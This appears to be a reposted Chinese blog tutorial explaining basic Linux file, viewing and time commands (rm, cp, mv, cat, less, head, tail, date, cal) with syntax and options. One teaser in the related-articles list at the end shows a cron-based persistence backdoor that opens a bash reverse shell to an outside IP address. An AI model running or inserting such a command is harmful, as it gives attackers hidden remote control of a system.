Linux基本操作指令2

news2024/11/28 4:39:43

目录

指令1:rmdir指令:

指令2:rm命令:

指令3:man指令:

指令4:cp指令:

指令5:mv指令:类似于Windows的剪贴

指令6:cat指令

 指令7:more指令

指令8:less指令: 

指令9:head指令:

指令10:tail指令 :

 时间相关的指令

指令11:date

指令12:cal指令:


指令1:rmdir指令:

        rmdir是一个与mkdir相对应的命令。mkdir是建立目录,而rmdir是删除命令。

语法:rmdir [-p][dirName]

适用对象:具有当前目录操作权限的所有使用者

功能:删除空目录

常用选项:

-p 当子目录被删除后如果父目录也变成空目录的话,就连带父目录一起删除。

在上图tree文件布局中,text.txt是普通文件,使用rmdir指令去删除普通文件是不被允许的,会有错误提示。

rmdir删除空目录:

 

 

rmdir删除带内容的非空目录文件:

删除失败 ,rmdir并不具备这种功能,所以还得请rm指令来。


指令2:rm命令:

rm命令可以同时删除文件或目录,rm全称为remove

语法:rm [-f-i-r-v][dirName/dir]

适用对象:所有使用者

功能:删除文件或目录 

常用选项:

-f 即使文件属性为只读(即写保护),亦直接删除

-i 删除前逐一询问确认

-r 删除目录及其下所有文件

 

默认的rm指令:

 

 

rm -r:

 

 

这里发现一个问题, 每当我们要删除一个带有内容的目录文件时,系统都会询问是否真的要进行删除,毕竟这是系统做的防止误删一种保护措施,我们想要删除就得一直输入y表示确认删除。若删除的文件过多,就很烦了,于是-f选项可以完美解决

rm -f: 

有上上上图可知:empty3为非空目录文件,所以rm -f选项可以强制删除,系统也就不再过问了。 

 


 

指令3:man指令:

Linux的命令有很多参数,我们不可能全记住,我们可以通过查看联机手册获取帮助。访问Linux手册页的命令是 man

语法: man [选项] 命令

常用选项 -k 根据关键字搜索联机帮助 num 只在第num章节找 -a 将所有章节的都显示出来,比如 man printf 它缺省从第一章开始搜索,知道就停止,用a选项,当按 下q退出,他会继续往后面搜索,直到所有章节都搜索完毕。

man指令手册分为8章 :

1 是普通的命令;

2 是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要加什么头文 件) ;

3 是库函数,如printf,fread;

4是特殊文件,也就是/dev下的各种设备文件 ;

5 是指文件的格式,比如passwd, 就会说明这个文件中各个字段的含义 ;

6 是给游戏留的,由各个游戏自己定义 ;

7 是附件还有一些变量,比如向environ这种全局变量在这里就有说明;

8 是系统管理用的命令,这些命令只能由root使用,如ifconfig

例:利用man手册指令查看ls指令:

        我们在手册中可以查看任何不懂的指令,对于我们这种新手小白来说,相当方便,不过对英语单词方面的认识 有些要求哟~。

这里说一下:有的同学无法使用man指令,原因在于在Linux中还没有安装该手册,需要使用下面这个指令进行安装即可。

 


 

指令4:cp指令:

语法:cp [选项] 源文件或目录 目标文件或目录

功能: 复制文件或目录

说明: cp指令用于复制文件或目录,如同时指定两个以上的文件或目录,且最后的目的地是一个已经存在的目录, 则它会把前面指定的所有文件或目录复制到此目录中。若同时指定多个文件或目录,而最后的目的地并非一个已存 在的目录,则会出现错误信息。

常用选项:

-f 或 --force          :强行复制文件或目录, 不论目的文件或目录是否已经存在;

-i 或 --interactive  :覆盖文件之前先询问用户;

-r :递归处理,将指定目录下的文件与子目录一并处理。若源文件或目录的形态,不属于目录或符号链 接,则一律视为普通文件处理;

-R 或 --recursive  :递归处理,将指定目录下的文件及子目录一并处理;

 

例1:

        注意: 目标目录empty2中原本并没有text.txt文件,所以cp指令会把empty目录下的该文件内容包括属性拷贝下来,然后到empty2下面创建一个同名空文件,并将内容也拷贝进去。 

接下来,在empty/text.txt文件中内容写一些内容进去

文件: 表示将hello字符串内容写入到text.txt文件中去
printf 内容cat指令含义: 显示该文件的内容

 

 使用cp指令再拷贝text.txt文件到empty2中:

因为现在empty2下有了text.txt文件,所以采用overwrite覆盖内容

 

对于已经存在的后者文件,拷贝只是把前者文件的内容拷贝到后者文件中。 

 

例2:拷贝多个源文件或目录到目标目录文件中:

拷贝目录到另一个目录时,需要用到-r递归选项才可以 。

 


指令5:mv指令:类似于Windows的剪贴

mv命令是move的缩写,可以用来移动文件或者将文件改名(move (rename) files),是Linux系统下常用的命令,经常用来备份文件或者目录。

语法: mv [选项] 源文件或目录 目标文件或目录

功能:

1. 视mv命令中第二个参数类型的不同(是目标文件还是目标目录),mv命令将文件重命名或将其移至一个新的目录中。

2. 当第二个参数类型是文件时,mv命令完成文件重命名,此时,源文件只能有一个(也可以是源目录名),它将所给的源文件或目录重命名为给定的目标文件名。

3. 当第二个参数是已存在的目录名称时,源文件或目录参数可以有多个,mv命令将各参数指定的源文件均移至目标目录中。

常用选项:

-f :force 强制的意思,如果目标文件已经存在,不会询问而直接覆盖

-i :若目标文件 (destination) 已经存在时,就会询问是否覆盖!

 

 例1:移动文件到某个目录中:

 

 例2:重命名一个文件:

 

注意:当移动多个文件/目录时,并不需要mv -r 递归移动。


指令6:cat指令

语法:cat [选项][文件]

功能: 查看目标文件的内容

常用选项:

​​​​​​-b 对非空输出行编号

-n 对输出的所有行编号

-s 不输出多行空行 

例1:查看某文件的内容: 

 新建的文件内容为空,所以cat666.txt不会显示任何内容。

cnt=0;while [ $cnt -le 10000 ] ; do echo "hello 106 [$cnt]"; let cnt++; done > 666.txt

上面这条指令表示利用循环的方式将内容写入指定文件中,这样就可以利用cat命令查看文件了。

 

cat -n 文件名:

 

        利用cat指令查看如此多的文件内容不太方便,这里推荐一个nano。nano相当于一个记事本,利用它可以查看文件中的内容。        

sudo yuminstall -y nano              输入这条指令就可以安装nano记事本了

 

总结: cat不适合用来查看大文本文件的内容, 只适合查看小文本或代码片段


 指令7:more指令

语法:more [选项][文件]

功能:more命令,功能类似 cat,适用于看大文本内容

常用选项:

-n 对输出的所有行编号

-q 退出more

 

 

例1:显示前n行内容

可用指令: more - n 文件名

例2:显示文件中从第num行起的内容:

可用指令: more +num 文件名

 

例3:查找指定字符串内容 
可用命令: more +/INC METER PK IMPTS(关键字语句)  文件名

 

 

 总结:more指令查看的内容只能往后翻找,不能往前翻找。


指令8:less指令: 

        less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。 less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻,只能往后面看 但若使用了less 时,就可以使用 [pageup][pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容! 除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。

语法: less [参数] 文件

功能: less与more类似,但使用less可以随意浏览文件,而more仅能向前移动,却不能向后移动,而且less在查看之前 不会加载整个文件。

选项:

-i                    忽略搜索时的大小写

-N                  显示每行的行号

/字符串:      向下搜索“字符串”的功能

?字符串:     向上搜索“字符串”的功能

q:                  quit

具体例子就不演示了,大家自行练习。


指令9:head指令:

        head 它是用来显示开头或结尾某个数量的文字区块,head 用来显示档案的 开头至标准输出中,而 tail 想当然尔就是看档案的结尾。

语法: head [参数]... [文件]... 

功能: head 用来显示档案的开头至标准输出中,默认head命令打印其相应文件的开头10行。 

选项:

-n 显示的行数

 

head -n: 

此图为部分截图。

 


指令10:tail指令 :

语法: tail[必要参数][选择参数][文件] 

功能: 用于显示指定文件末尾内容,不指定文件时,作为输入信息进行处理。常用查看日志文件。

选项:

-f 循环读取

-n 显示行数

 

 

 

 而我们想看文件的中不想从头到中间,只想看中间的十几二十行间部分 怎么办?
 

例1:取出某个文件的前500行内容的最后10行:也就是第491~500行内容

方法:利用管道符 “ | ”,管道符的作用就是可以连接多个指令,既能实现指令A又能在指令A的基础上实现指令B。就是组合各种各样的命令对文件或者程序进行修改。

        解析:head和tail指令都是默认指向显示器打印的,但有了管道head -500就会把前500行的内容先输送到管道,然后这些内容在管道中再执行 tail -10 就可以获取中间部分内容

 我们还可以进行多个管道条件的设置 :

例2:

       取出文件的前500行的最后10行内容,并对10行内容进行逆置,逆置完后,再取出10行中的后五行内容进行展示。

 


 时间相关的指令

指令11:date

显示 date 指定格式显示时间: date +%Y:%m:%d date

用法:date [OPTION]... [+FORMAT]

例1:

1.在显示方面,使用者可以设定欲显示的格式,格式设定为一个加号后接数个标记,其中常用的标记列表如下:

%H : 小时(00..23)

%M : 分钟(00..59)

%S : 秒(00..61)

%X : 相当于 %H:%M:%S

%d : 日 (01..31)

%m : 月份 (01..12)

%Y : 完整年份 (0000..9999)

%F : 相当于 %Y-%m-%d

 

例2: 

 

date +%s指令输出的1684647984这一串数字是“时间戳”,什么是时间戳?

        时间戳是从1970/1/1/0: 0: 0开始计时的,这是英国时间而中国离英国是有时差的,时差为8小时,所以我国显示的时间是1月1日8点开始的时间戳。

         所以date +%s显示的时间戳就是从1970/1/10:0:0开始计时到限制为止的总秒数。

使用时间格式对时间戳进行转化后,@0表示可以看到时间戳最原始的年月日时分秒: 


指令12:cal指令:

        cal命令可以用来显示公历(阳历)日历。公历是现在国际通用的历法,又称格列历,通称阳历。“阳历”又名“太阳 历”,系以地球绕行太阳一周为一年,为西方各国所通用,故又名“西历”。

命令格式: cal [参数][月份][年份]

功能: 用于查看日历等时间信息,如只有一个参数,则表示年份(1-9999),如有两个参数,则表示月份和年份

常用选项:

-3 显示系统前一个月,当前月,下一个月的月历;

-j  显示在当年中的第几天(一年日期按天算,从1月1号算起,默认显示当前月在一年中的天数);

-y  显示当前年份的日历;

例1: 

 

例2:

cal -3:显示当前月份的前一个月+当前月+后一个月日历

 

例3:cal -j:显示当天是该年的第几天

 

如上:2023年5月21日是2023年的第141天 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT5.15.0使用gcc-arm-8.2-2018.08-x86_64-arm-linux-gnueabihf交叉编译的问题总结

目录 一、交叉编译 二、操作中踩过的坑 1、环境变量未生效 2、交叉编译QT代码操作 3、烧录时报错缺少xcb问题 4、小白的细小错误 三、--platform命令 3、1 -platform linuxfb 详细文档请点击此处 我的文档在原文档的基础上添加了非常详细的提醒,可以少走弯路…

软件性能测试过程详解与案例剖析

软件性能测试是软件开发过程中至关重要的一环,它能够帮助我们确保软件在不同负载和使用情况下的表现。在软件性能测试中,我们通常会关注软件的响应时间、吞吐量、并发用户数等指标,以评估软件性能。 软件性能测试过程主要分为以下几个步骤&am…

leetcode:322. 零钱兑换(暴力dfs,记忆化dfs,动态规划(朴素+优化),bfs+贪心)

记录常规的完全背包问题模型 1.暴力dfs2.优化dfs,记忆化dfs3.动态规划4.bfs 1.由于每件物品可以无限取,那么可以发现这是一个完全背包问题模型。 1.暴力dfs 最后要求的是:n种硬币,凑成总金额为amount。每种硬币无限取&#xff0…

Java8 教你一行代码搞定:如何计算map中value值

大家好,我是三叔,很高兴这期又和大家见面了,一个奋斗在互联网的打工人。 这期给大家讲一下在Java编程中,如何使用Java8对map的值进行计算,在实际开发中,也是经常遇到统计map中的value值之和。 Map是一种常…

Web安全:文件上传漏洞测试.

Web安全:文件上传漏洞测试. 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文…

解决大文件传输难题的方法和技巧

传统的传输大文件的方式,如电子邮件附件或USB驱动器,由于文件大小的限制和安全问题,变得越来越不方便。大文件共享是现代商业通信的一个重要方面,组织需要安全可靠的方式来传输这些文件。 传统文件传输方式的不便 传统的文件传输方…

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI 编写模块化代码几乎总是一个好主意,无论是为Windows、实时还是FPGA设备设计应用程序。子VI使代码更易于调试和故障排除,更易于记录和跟踪更改,并且通常更清晰,更易于…

一文读懂JVM架构解析

JVM 架构解析 Java 架构JVMJVM是如何工作的?类加载器子系统 运行时数据区执行引擎 每个 Java 开发人员都知道字节码经由 JRE(Java运行时环境)执行。但他们或许不知道 JRE 其实是由 Java虚拟机(JVM)实现,JVM…

css3 flex弹性布局学习

一、flex基本概念 当开启flex布局后,项目默认沿主轴排列。单个项目占据的主轴空间叫做main size,占据的交叉轴空间叫做cross size。 二、容器的属性 以下6个属性设置在容器上。 flex-direction flex-wrap flex-flow justify-content align-items align…

LabVIEWCompactRIO 开发指南26 同步循环

LabVIEWCompactRIO 开发指南26 同步循环 对于大多数控制和监视应用,代码执行的时间对于系统的性能和可靠性非常重要。在此电机控制示例中,有两个不同的时钟信号:采样时钟和PID时钟。这些是在应用程序中生成的布尔信号,用于在循环…

【HackTheBox MonitorsTwo】打靶记录

信息搜集 1、nmap 扫描一波 └─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 2…

[NodeJS] 优缺点及适用场景讨论

概述: NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”,那么它的出现是为了解决什么问题呢,它有什么优缺点以及它适用于什么场景呢? 本文就个人使用经验对这些问题进行探讨。 一. NodeJS的特点 我们先来看看N…

【数据结构】广度优先遍历(BFS)模板及其讲解

🎊专栏【数据结构】 🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 🎆音乐分享【勋章】 大一同学小吉,欢迎并且感谢大家指出我的问题🥰 目录 🎁定义 🎁遍历方法 🎁根…

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大,在一个操作系统存不住所有的数据,那么就分配到更多的操作系统管理的磁盘中,但是不方便管理和维护,迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七(二元LCG)题八(三元LCG) (PS:网上有很多原理,这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则,被我们反复使用后、被多数人知晓认可的、然后经过分类编排,…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解(求叶子结点数)-软件设计(七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践: 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍: 🚀自媒体 JavaPub 独立维护人,全网粉丝25w,csdn博客专家、java领域优质创作者,前51ctoTOP10博主,知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好,这里是limou3434的一篇个人博文,感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的?为什么局部变量的值是随机的函数是怎么传参的&#xff1…